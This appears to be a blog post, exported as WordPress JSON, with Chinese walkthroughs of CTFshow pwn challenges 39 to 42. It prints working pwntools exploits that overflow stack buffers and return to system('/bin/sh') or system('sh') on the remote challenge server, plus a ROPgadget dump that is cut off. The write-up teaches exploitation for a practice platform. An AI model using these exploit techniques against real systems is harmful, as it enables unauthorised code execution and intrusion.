{"id":245,"date":"2025-02-08T13:39:24","date_gmt":"2025-02-08T05:39:24","guid":{"rendered":"https:\/\/www.okabe.xin\/?p=245"},"modified":"2025-02-08T13:39:24","modified_gmt":"2025-02-08T05:39:24","slug":"awpawmownnpwpwn","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=245","title":{"rendered":"awp?awm?own?npw?pwn!"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">PWN\u2014\u2014CTFshow<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">pwn39<\/h2>\n\n\n\n<p>\u4e00\u4e2a32\u4f4d\u7a0b\u5e8f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Arch: &nbsp; &nbsp; &nbsp; i386-32-little<br>RELRO: &nbsp; &nbsp;  Partial RELRO<br>Stack: &nbsp; &nbsp;  No canary found<br>NX: &nbsp; &nbsp; &nbsp; &nbsp; NX enabled<br>PIE: &nbsp; &nbsp; &nbsp;  No PIE (0x8048000)<br>Stripped: &nbsp; No<\/code><\/pre>\n\n\n\n<p>main\u51fd\u6570\u7684\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int __cdecl main(int argc, const char **argv, const char **envp)<br>{<br> &nbsp;setvbuf(stdout, 0, 2, 0);<br> &nbsp;setvbuf(stdin, 0, 2, 0);<br> &nbsp;puts(asc_804876C);<br> &nbsp;puts(asc_80487E0);<br> &nbsp;puts(asc_804885C);<br> &nbsp;puts(asc_80488E8);<br> &nbsp;puts(asc_8048978);<br> &nbsp;puts(asc_80489FC);<br> &nbsp;puts(asc_8048A90);<br> &nbsp;puts(\" &nbsp;  * ************************************* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \");<br> &nbsp;puts(aClassifyCtfsho);<br> &nbsp;puts(\" &nbsp;  * Type  : Stack_Overflow &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \");<br> &nbsp;puts(\" &nbsp;  * Site  : https:\/\/ctf.show\/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \");<br> &nbsp;puts(\" &nbsp;  * Hint  : It has system and '\/bin\/sh',but they don't work together\");<br> &nbsp;puts(\" &nbsp;  * ************************************* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \");<br> &nbsp;puts(\"Just easy ret2text&amp;&amp;32bit\");<br> &nbsp;ctfshow(&amp;argc);<br> &nbsp;puts(\"\\nExit\");<br> &nbsp;return 0;<br>}<\/code><\/pre>\n\n\n\n<p>Hint\u8868\u793asystem \u548c &#8216;\/bin\/sh&#8217;\u5e76\u4e0d\u540c\u65f6\u8d77\u6548<\/p>\n\n\n\n<p>\u4f46\u662f\u8fd9\u91cc\u548c\u4e4b\u524d\uff08pwn37\u3001pwn38\uff09\u4e0d\u4e00\u6837\uff1a<\/p>\n\n\n\n<p>\u5728\u6807\u51c6\u8f93\u51fa\u4e0a\u8f93\u51fa\u8def\u5f84 &#8216;\/bin\/sh&#8217;\uff1b<\/p>\n\n\n\n<p>\u8c03\u7528 system()\u51fd\u6570\uff0c\u8be5\u51fd\u6570\u7528\u4e8e\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u4f46\u8fd9\u91cc\u53ea\u662f\u8f93\u51fa\u63d0\u793a\u4fe1\u606f &#8216;You find me?&#8217;\u3002<\/p>\n\n\n\n<p>\u800c\u524d\u9762\u6211\u4eec\u9047\u5230\u7684\u76f4\u63a5\u83b7\u53d6 shell \u7684\u662f\uff1asystem(&#8220;\/bin\/sh&#8221;)<\/p>\n\n\n\n<p>\u6839\u636e\u9898\u76ee\u63cf\u8ff0\uff1a32\u4f4d\u7684 system(); &#8220;\/bin\/sh&#8221;<\/p>\n\n\n\n<p>system() \u4e0e &#8220;\/bin\/sh&#8221; \u5728\u7a0b\u5e8f\u4e2d\u90fd\u5b58\u5728\uff0c\u4f46\u8fd9\u91cc\u5c06\u7cfb\u7edf\u51fd\u6570\u4e0e\u53c2\u6570\u5206\u5f00\u4e86\uff0c\u6211\u4eec\u9700\u8981\u624b\u52a8\u6784\u9020\u3002<\/p>\n\n\n\n<p>\u518d\u56de\u5230\u5bf9\u4e8e\u6808\u6ea2\u51fa\u7684\u5224\u65ad<\/p>\n\n\n\n<p>\u6709\u660e\u8bf4\u662fret2text<\/p>\n\n\n\n<p>\u53bbtext\u6bb5\u7ffb\u627e<\/p>\n\n\n\n<p>\u6ca1\u627e\u5230\u4ec0\u4e48\u6709\u6548\u5185\u5bb9<\/p>\n\n\n\n<p>\u770b\u5230\u51fd\u6570\u680f\u7684system\u51fd\u6570<\/p>\n\n\n\n<p>\u76f4\u63a5\u53cd\u7167\u770b\u5230system\u51fd\u6570\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<p>\u5373\uff1a0x080483A0<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='\/wordpress\/'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"\/wordpress\/\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250118195845901\"\/><\/div><\/figure>\n\n\n\n<p>\u53c8\u5012\u56de\u53bb\u627e\u80fd\u6808\u6ea2\u51fa\u7684\u539f\u56e0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssize_t ctfshow()<br>{<br> &nbsp;_BYTE buf&#91;14]; \/\/ &#91;esp+6h] &#91;ebp-12h] BYREF<br>\u200b<br> &nbsp;return read(0, buf, 0x32u);<\/code><\/pre>\n\n\n\n<p>\u5728ctfshow\u8fd9\u4e2a\u51fd\u6570\u4e2d\uff0c\u5b58\u5728\u8fd9\u4e48\u4e2a\u6808\u6ea2\u51fa\u7684\u6f0f\u6d1e<\/p>\n\n\n\n<p>\u6f0f\u6d1e\u4ea7\u751f\u7684\u539f\u56e0\u5728\u4e8e<\/p>\n\n\n\n<p>\u8fd9\u91cc\u58f0\u660e\u4e86\u4e00\u4e2a\u957f\u5ea6\u4e3a 14 \u7684\u5b57\u7b26\u6570\u7ec4 buf\uff0c\u6570\u7ec4\u5927\u5c0f\u4e3a14\u5b57\u8282\uff0c\u7528\u6765\u5b58\u50a8\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\uff0c\u8c03\u7528 read() \u51fd\u6570\uff0c\u4ece\u6587\u4ef6\u63cf\u8ff0\u7b26\uff08\u5728\u8fd9\u91cc\u662f\u6807\u51c6\u8f93\u5165\uff0c\u6587\u4ef6\u63cf\u8ff0\u7b260\uff09\u8bfb\u53d6\u6570\u636e\u3002read()\u51fd\u6570\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u6587\u4ef6\u63cf\u8ff0\u7b26\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u662f\u7528\u6765\u63a5\u6536\u6570\u636e\u7684\u7f13\u51b2\u533a\uff0c\u7b2c\u4e09\u4e2a\u53c2\u6570\u662f\u8981\u8bfb\u53d6\u7684\u5b57\u8282\u6570\u3002<\/p>\n\n\n\n<p>read() \u51fd\u6570\u8bd5\u56fe\u4ece\u6807\u51c6\u8f93\u5165\u8bfb\u53d6\u6700\u591a 0x32\uff08\u5341\u8fdb\u5236\u4e3a50\uff09\u4e2a\u5b57\u8282\u7684\u6570\u636e\u5230 buf \u6570\u7ec4\u4e2d\uff0c\u7136\u540e\u8fd4\u56de\u5b9e\u9645\u8bfb\u53d6\u7684\u5b57\u8282\u6570\u3002\u4f46\u662f\uff0c\u7531\u4e8e buf \u6570\u7ec4\u7684\u5927\u5c0f\u53ea\u6709 14 \u5b57\u8282\uff0c\u8fd9\u5c31\u53ef\u80fd\u5bfc\u81f4\u6ea2\u51fa\u3002<\/p>\n\n\n\n<p>\u597d\u4e86\uff0c\u90a3\u4e48\u5bf9\u4e8e\u8fd9\u91cc\u9700\u8981\u8fdb\u884c\u586b\u5145\u7684\u5b57\u7b26\u6570\u5c31\u8be5\u662f<\/p>\n\n\n\n<p>0x12+\u7a0b\u5e8f\u4e2d\u6808\u5e95\u7684\u5927\u5c0f<\/p>\n\n\n\n<p>\u56e0\u4e3a\u8fd9\u662f\u4e2a32\u4f4d\u7684\u7a0b\u5e8f<\/p>\n\n\n\n<p>\u6240\u4ee5buf\u5230\u6808\u5e95\u7684\u4f4d\u7f6e\u8fd8\u8981\u518d\u52a04<\/p>\n\n\n\n<p>\u6240\u4ee5\u8981\u586b\u5145\u7684\u5b57\u8282\u6570\u5c31\u662f\uff1a<\/p>\n\n\n\n<p>0x12+4<\/p>\n\n\n\n<p>\u90a3\u4e48payload\u7684\u4e00\u89d2\u5c31\u660e\u6670\u4e86<\/p>\n\n\n\n<p>\u7ed3\u5408\u4e0a\u9762\u7684\u5206\u6790<\/p>\n\n\n\n<p>\u53ef\u4ee5\u5f97\u5230<\/p>\n\n\n\n<p>payload\u7684\u6784\u6210\u5927\u81f4\u662f<\/p>\n\n\n\n<p>\u586b\u5145\u5b57\u8282+\u8c03\u7528system\u51fd\u6570+\u52a0\u5199\u5165\/bin\/sh\u5b57\u6bb5<\/p>\n\n\n\n<p>system\u51fd\u6570\u7684\u4f4d\u7f6e\u5df2\u77e5<\/p>\n\n\n\n<p>\u53bb\u627e\/bin\/sh<\/p>\n\n\n\n<p>\u53d1\u73b0\u76ee\u6807\u5185\u5bb9<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='\/wordpress\/'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"\/wordpress\/\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250118200504593\"\/><\/div><\/figure>\n\n\n\n<p>\u81f3\u6b64\uff0c\u6240\u6709\u5fc5\u5907\u8981\u7d20\u5168\u90e8\u96c6\u9f50<\/p>\n\n\n\n<p>exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>sh=remote('pwn.challenge.ctf.show', 28178)<br>payload = b'a'*(0x12+4) + p32(0x80483A0) + p32(0x8048750)<br>sh.sendline(payload)<br>sh.interactive()<\/code><\/pre>\n\n\n\n<p>\u53d1\u73b0\u5e76\u4e0d\u80fd\u76f4\u63a5\u6253\u901a<\/p>\n\n\n\n<p>\u8bf4\u660e\u4ecd\u7136\u5b58\u5728\u95ee\u9898<\/p>\n\n\n\n<p>\u5b9e\u9645\u4e0a<\/p>\n\n\n\n<p>payload \u683c\u5f0f\uff1a<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>payload = b&#8217;a&#8217;*(0x12+4) + p32(system) + p32(0) + p32(bin_sh)<\/p>\n<\/blockquote>\n\n\n\n<p>\u9996\u5148\u5728\u6ea2\u51fa\u540e\u586b\u5165 system \u51fd\u6570\u7684\u5730\u5740\uff0c\u8fd9\u4e2a\u5730\u5740\u5c06\u8986\u76d6\u7a0b\u5e8f\u8fd4\u56de\u5730\u5740\uff0c\u4ee5\u4fbf\u63a7\u5236\u7a0b\u5e8f\u6d41\u7a0b\u3002 \u6b64\u5916\u6211\u4eec\u9700\u8981\u8003\u8651\u51fd\u6570\u8c03\u7528\u6808\u7684\u7ed3\u6784\uff1asystem\u51fd\u6570\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u901a\u5e38\u662f\u4e00\u4e2a\u6307\u5411\u8981\u6267\u884c\u7684\u547d\u4ee4\u7684\u5b57\u7b26\u4e32\uff0c\u5982 \/bin\/sh\uff0c\u9700\u8981\u5c06\u8fd9\u4e2a\u5b57\u7b26\u4e32\u7684\u5730\u5740\u4f5c\u4e3a\u53c2\u6570\u4f20\u9012\u7ed9 system \u51fd\u6570\uff0csystem \u51fd\u6570\u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570\u901a\u5e38\u662f\u4e00\u4e2a\u6307\u5411\u7a7a\u503c\u7684\u6307\u9488\uff0c\u8868\u793a\u6ca1\u6709\u989d\u5916\u7684\u53c2\u6570\u3002\u5728 payload \u4e2d\uff0c\u53ef\u4ee5\u4f7f\u7528\u4efb\u610f\u503c\uff0c\u6bd4\u5982 0 \uff0c\u4f7f\u7528 p32() \u51fd\u6570\u5c06\u5730\u5740\u8f6c\u6362\u4e3a4\u5b57\u8282\u7684\u5b57\u7b26\u4e32\uff0c\u4e5f\u53ef\u4ee5\u7528\u5176\u4ed6\u4efb\u610f 4 \u5b57\u8282\u5b57\u7b26\uff0c\u5982 &#8216;aaaa&#8217;\uff0c\u6700\u540e\u518d\u52a0\u4e0a bin\/sh \u7684\u5730\u5740\uff0c\u6211\u4eec\u5c31\u80fd\u591f\u5229\u7528\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u6210\u529f\u8c03\u7528 system(&#8220;\/bin\/sh&#8221;)\uff0c\u4ece\u800c\u83b7\u53d6\u5230\u6240\u9700\u7684 shell\u3002<\/p>\n\n\n\n<p>payload \u8be6\u7ec6\u89e3\u91ca\uff1a<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>b&#8217;a&#8217; * (0x12 + 4)\uff1a\u8fd9\u90e8\u5206\u662f\u586b\u5145\uff0c\u586b\u5145\u7684\u76ee\u7684\u662f\u4f7f\u5f97\u8f93\u5165\u7684\u957f\u5ea6\u8d85\u8fc7\u4e86\u539f\u672c\u7684\u7f13\u51b2\u533a\u5927\u5c0f\uff0c\u89e6\u53d1\u7f13\u51b2\u533a\u6ea2\u51fa\u3002 p32(system)\uff1a\u8fd9\u90e8\u5206\u662f system \u51fd\u6570\u7684\u5730\u5740\uff0c\u5728\u5229\u7528\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u65f6\uff0c\u91cd\u8981\u7684\u4e00\u6b65\u662f\u8986\u76d6\u8fd4\u56de\u5730\u5740\uff0c\u4f7f\u5f97\u7a0b\u5e8f\u8fd4\u56de\u65f6\u8df3\u8f6c\u5230 system \u51fd\u6570\u3002 p32(0)\uff1a\u8fd9\u90e8\u5206\u662f system \u51fd\u6570\u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570\uff0c\u5728\u5927\u591a\u6570\u60c5\u51b5\u4e0b\uff0csystem \u51fd\u6570\u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5e94\u8be5\u662f\u4e00\u4e2a\u6307\u5411\u7a7a\u503c\u7684\u6307\u9488\uff0c\u8868\u793a\u6ca1\u6709\u989d\u5916\u7684\u53c2\u6570\uff0c\u8fd9\u91cc\u4f7f\u7528\u4e860\uff0c\u8868\u793a\u4e00\u4e2a\u7a7a\u6307\u9488\u3002 p32(bin_sh)\uff1a\u8fd9\u90e8\u5206\u662f \/bin\/sh \u5b57\u7b26\u4e32\u7684\u5730\u5740\uff0c\u4f5c\u4e3a system \u51fd\u6570\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\uff0c\/bin\/sh \u662f\u4e00\u4e2a\u7528\u4e8e\u542f\u52a8 shell \u7684\u8def\u5f84\uff0c\u5728\u5229\u7528\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u8fd9\u4e2a\u53c2\u6570\u6765\u544a\u8bc9 system \u51fd\u6570\u8981\u6267\u884c\u7684\u547d\u4ee4\u3002<\/p>\n<\/blockquote>\n\n\n\n<p>\u6240\u4ee5<\/p>\n\n\n\n<p>payload\u4fee\u6539\u540e\u5373\u4e3a\u6b63\u786e\u7684exp<\/p>\n\n\n\n<p>\u5373\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>sh=remote('pwn.challenge.ctf.show', 28178)<br>payload = b'a'*(0x12+4) + p32(0x80483A0) + p32(0) + p32(0x8048750)<br>sh.sendline(payload)<br>sh.interactive()<\/code><\/pre>\n\n\n\n<p>\u62ff\u5230flag<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">pwn40<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>io=remote(\"pwn.challenge.ctf.show\",28267)<br>payload = b'a'*(0xA+8) + p64(0x4007e3) + p64(0x400808) + p64(0x4004fe) + p64(0x400520)<br>io.sendline(payload)<br>io.interactive()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">pwn41<\/h2>\n\n\n\n<p>\u5df2\u77e532\u4f4d<\/p>\n\n\n\n<p>\u5c31\u4e0d\u5f00checksec<\/p>\n\n\n\n<p>main\u51fd\u6570\u53cd\u7f16\u8bd1\u4e00\u904d\u770b\u5230<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int __cdecl main(int argc, const char **argv, const char **envp)<br>{<br> &nbsp;setvbuf(stdout, 0, 2, 0);<br> &nbsp;setvbuf(stdin, 0, 2, 0);<br> &nbsp;logo(&amp;argc);<br> &nbsp;ctfshow();<br> &nbsp;puts(\"\\nExit\");<br> &nbsp;return 0;<br>}<\/code><\/pre>\n\n\n\n<p>\u8c03\u7528ctfshow\u51fd\u6570<\/p>\n\n\n\n<p>\u770b\u8be5\u51fd\u6570<\/p>\n\n\n\n<p>\u62ff\u5230buf\u5230\u6808\u5e95\u7684\u957f\u5ea6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssize_t ctfshow()<br>{<br> &nbsp;_BYTE buf&#91;14]; \/\/ &#91;esp+6h] &#91;ebp-12h] BYREF<br>\u200b<br> &nbsp;return read(0, buf, 0x32u);<br>}<\/code><\/pre>\n\n\n\n<p>\u5373\uff1a0x12+4<\/p>\n\n\n\n<p>\u6ea2\u51fa\u5b57\u8282\u6570get<\/p>\n\n\n\n<p>\u73b0\u5728\u5c31\u8981\u627e\u5230\u5e38\u89c4\u7684\u63d0\u6743\u51fd\u6570<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u627e\u4e0d\u5230\u5173\u952e\u7684bin\/sh<\/p>\n\n\n\n<p>32\u4f4d\u7684 system(); \u4f46\u662f\u6ca1&#8221;\/bin\/sh&#8221; \uff0c\u597d\u50cf\u6709\u5176\u4ed6\u7684\u53ef\u4ee5\u66ff\u4ee3\\<\/p>\n<\/blockquote>\n\n\n\n<p>\u5b9e\u9645\u4e0a\uff0c_system+&#8221;sh&#8221;\u5728\u73af\u5883\u53d8\u91cf\u914d\u7f6e\u6b63\u786e\u7684\u65f6\u5019\u548c _system+&#8221;\/bin\/sh&#8221;\u662f\u7b49\u4ef7\u7684<\/p>\n\n\n\n<p>\u800c\u521a\u597d\u80fd\u5728\u5176\u4e2d\u627e\u5230sh\u5b57\u773c<\/p>\n\n\n\n<p>\u5c31\u5728useful\u51fd\u6570\u4e2d\u80fd\u770b\u5230sh<\/p>\n\n\n\n<p>\u90a3\u4e48\u53ea\u9700\u8981\u786e\u8ba4\u201csh\u201d\u7684\u4f4d\u7f6e\u5373\u53ef<\/p>\n\n\n\n<p>\u53cc\u51fbuseful\u51fd\u6570\u4e2d\u7684\u201csh\u201d\u76f4\u63a5\u5c31\u8df3\u8f6c\u4e86<\/p>\n\n\n\n<p>\u62ff\u5230\u201csh\u201d\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<p>080487BA<\/p>\n\n\n\n<p>\u518d\u627e\u5230\u4e2a_system\u51fd\u6570\u5730\u5740\u5c31\u597d<\/p>\n\n\n\n<p>\u800chint\u51fd\u6570\u4e2d\uff0c\u5c31\u8c03\u7528\u4e86system\u51fd\u6570<\/p>\n\n\n\n<p>\u90a3\u4e48\u76f4\u63a5\u7528\u8fd9\u4e2a\u91cc\u7684system\u5c31\u53ef\u4ee5\u63d0\u6743\u6210\u529f<\/p>\n\n\n\n<p>exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>sh=remote(\"pwn.challenge.ctf.show\",28129)<br>system=0x080483D0 &nbsp;#483D0\u662fplt\u8868\u91cc\u7684system\uff0c\u5982\u679c\u6362\u7528text\u6bb5\u7684system\u5c31\u4e0d\u9700\u8981\u518d\u53d1\u9001'aaaa'<br>bin=0x080487BA<br>payload=b'a'*(0x12+4)+p32(system)+b'aaaa'+p32(bin)<br>sh.sendline(payload)<br>sh.interactive()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">pwn42<\/h2>\n\n\n\n<p>64\u4f4d<\/p>\n\n\n\n<p>\u548c\u4e0a\u9762\u7c7b\u4f3c\u7684\u64cd\u4f5c<\/p>\n\n\n\n<p>main\u51fd\u6570\u67e5\u5230buf\u5230\u6808\u5e95\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<p>0xA+8<\/p>\n\n\n\n<p>\u627e\u5230sh\u4f4d\u7f6e<\/p>\n\n\n\n<p>0400872<\/p>\n\n\n\n<p>\u627e\u5230system\u51fd\u6570\u4f4d\u7f6e<\/p>\n\n\n\n<p>0400560<\/p>\n\n\n\n<p>\u7531\u4e8e\u662f64\u4f4d\u7a0b\u5e8f<\/p>\n\n\n\n<p>\u6240\u4ee5\u53c8\u51fa\u73b0pwn40\u7684\u4e00\u4e2a\u8003\u70b9<\/p>\n\n\n\n<p>64\u4f4d\u7684\u4f20\u53c2\u548c32\u4f4d\u4e0d\u540c<\/p>\n\n\n\n<p>64\u4f4d\u4f1a\u5148\u4f20\u5165\u5bc4\u5b58\u5668\uff0c\u5171\u516b\u4e2a<\/p>\n\n\n\n<p>\u800c\u4f20\u5b8c\u624d\u4f1a\u4f20\u5165\u6808\u4e2d<\/p>\n\n\n\n<p>\u6240\u4ee5\u9700\u8981\u5148\u62ff\u5230\u7b2c\u4e00\u4e2a\u53c2\u6570\u5bc4\u5b58\u5668rdi\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<p>\u7531\u4e8e\u9700\u8981\u5c06\u5b57\u7b26&#8221;sh&#8221;\u8fd4\u56de\u7ed9\u8c03\u7528\u51fd\u6570<\/p>\n\n\n\n<p>\u6240\u4ee5\u8fd8\u9700\u8981\u627e\u5230ret\u6307\u4ee4\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<p>\u6240\u4ee5\u4f7f\u7528ROPgadget<\/p>\n\n\n\n<p>\u901a\u8fc7\u6307\u4ee4<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ROPgadget --binary pwn42<\/code><\/pre>\n\n\n\n<p>\u62ff\u5230\u54cd\u5e94<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>0x00000000004005c9 : add ah, dh ; nop dword ptr &#91;rax + rax] ; ret<br>0x0000000000400597 : add al, 0 ; add byte ptr &#91;rax], al ; jmp 0x400540<br>0x0000000000400577 : add al, byte ptr &#91;rax] ; add byte ptr &#91;rax], al ; jmp 0x400540<br>0x0000000000400e6f : add al, dl ; idiv bh ; jmp qword ptr &#91;rax]<br>0x0000000000400eb7 : add bh, ch ; idiv edi ; call qword ptr &#91;rdi]<br>0x0000000000400e97 : add bh, ch ; idiv edi ; jmp qword ptr &#91;rax]<br>0x00000000004005cf : add bl, dh ; ret<br>0x0000000000400ef3 : add byte ptr &#91;rax - 0x22000000], bh ; idiv edi ; jmp qword ptr &#91;rbx]<br>0x0000000000400e6d : add byte ptr &#91;rax], al ; add al, dl ; idiv bh ; jmp qword ptr &#91;rax]<br>0x0000000000400eb5 : add byte ptr &#91;rax], al ; add bh, ch ; idiv edi ; call qword ptr &#91;rdi]<br>0x0000000000400e95 : add byte ptr &#91;rax], al ; add bh, ch ; idiv edi ; jmp qword ptr &#91;rax]<br>0x000000000040084d : add byte ptr &#91;rax], al ; add bl, dh ; ret<br>0x000000000040084b : add byte ptr &#91;rax], al ; add byte ptr &#91;rax], al ; add bl, dh ; ret<br>0x0000000000400557 : add byte ptr &#91;rax], al ; add byte ptr &#91;rax], al ; jmp 0x400540<br>0x00000000004006b8 : add byte ptr &#91;rax], al ; add byte ptr &#91;rax], al ; pop rbp ; ret<br>0x000000000040067c : add byte ptr &#91;rax], al ; add byte ptr &#91;rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400610<br>0x000000000040084c : add byte ptr &#91;rax], al ; add byte ptr &#91;rax], al ; ret<br>0x000000000040067d : add byte ptr &#91;rax], al ; add byte ptr &#91;rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400610<br>0x0000000000400ef5 : add byte ptr &#91;rax], al ; add dh, bl ; idiv edi ; jmp qword ptr &#91;rbx]<br>0x0000000000400559 : add byte ptr &#91;rax], al ; jmp 0x400540<br>0x0000000000400eb2 : add byte ptr &#91;rax], al ; js 0x400eb6 ; add byte ptr &#91;rax], al ; out dx, eax ; idiv edi ; call qword ptr &#91;rdi]<br>0x0000000000400ef2 : add byte ptr &#91;rax], al ; mov eax, 0xde000000 ; idiv edi ; jmp qword ptr &#91;rbx]<br>0x0000000000400eb6 : add byte ptr &#91;rax], al ; out dx, eax ; idiv edi ; call qword ptr &#91;rdi]<br>0x0000000000400e96 : add byte ptr &#91;rax], al ; out dx, eax ; idiv edi ; jmp qword ptr &#91;rax]<br>0x0000000000400e92 : add byte ptr &#91;rax], al ; pop rax ; add byte ptr &#91;rax], al ; add bh, ch ; idiv edi ; jmp qword ptr &#91;rax]<br>0x0000000000400606 : add byte ptr &#91;rax], al ; pop rbp ; ret<br>0x000000000040067e : add byte ptr &#91;rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400610<br>0x00000000004005ce : add byte ptr &#91;rax], al ; ret<br>0x0000000000400eb3 : add byte ptr &#91;rax], bh ; add byte ptr &#91;rax], al ; out dx, eax ; idiv edi ; call qword ptr &#91;rdi]<br>0x0000000000400e93 : add byte ptr &#91;rax], bl ; add byte ptr &#91;rax], al ; out dx, eax ; idiv edi ; jmp qword ptr &#91;rax]<br>0x0000000000400e6b : add byte ptr &#91;rax], dh ; add byte ptr &#91;rax], al ; add al, dl ; idiv bh ; jmp qword ptr &#91;rax]<br>0x0000000000400605 : add byte ptr &#91;rax], r8b ; pop rbp ; ret<br>0x00000000004005cd : add byte ptr &#91;rax], r8b ; ret<br>0x000000000040067f : add byte ptr &#91;rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400610<br>0x0000000000400667 : add byte ptr &#91;rcx], al ; pop rbp ; ret<br>0x0000000000400ef7 : add dh, bl ; idiv edi ; jmp qword ptr &#91;rbx]<br>0x0000000000400567 : add dword ptr &#91;rax], eax ; add byte ptr &#91;rax], al ; jmp 0x400540<br>0x0000000000400668 : add dword ptr &#91;rbp - 0x3d], ebx ; nop dword ptr &#91;rax + rax] ; ret<br>0x0000000000400587 : add eax, dword ptr &#91;rax] ; add byte ptr &#91;rax], al ; jmp 0x400540<br>0x000000000040053b : add esp, 8 ; ret<br>0x000000000040053a : add rsp, 8 ; ret<br>0x00000000004005fe : and byte ptr &#91;rax], ah ; jmp rax<br>0x00000000004005c8 : and byte ptr &#91;rax], al ; hlt ; nop dword ptr &#91;rax + rax] ; ret<br>0x0000000000400554 : and byte ptr &#91;rax], al ; push 0 ; jmp 0x400540<br>0x0000000000400564 : and byte ptr &#91;rax], al ; push 1 ; jmp 0x400540<br>0x0000000000400574 : and byte ptr &#91;rax], al ; push 2 ; jmp 0x400540<br>0x0000000000400584 : and byte ptr &#91;rax], al ; push 3 ; jmp 0x400540<br>0x0000000000400594 : and byte ptr &#91;rax], al ; push 4 ; jmp 0x400540<br>0x0000000000400531 : and byte ptr &#91;rax], al ; test rax, rax ; je 0x40053a ; call rax<br>0x00000000004006d2 : call qword ptr &#91;rax + 0x4855c35d]<br>0x0000000000400291 : call qword ptr &#91;rax - 0x4b6cb9fd]<br>0x0000000000400ebb : call qword ptr &#91;rdi]<br>0x0000000000400538 : call rax<br>0x00000000004006a4 : dec ecx ; ret<br>0x000000000040082c : fmul qword ptr &#91;rax - 0x7d] ; ret<br>0x00000000004005ca : hlt ; nop dword ptr &#91;rax + rax] ; 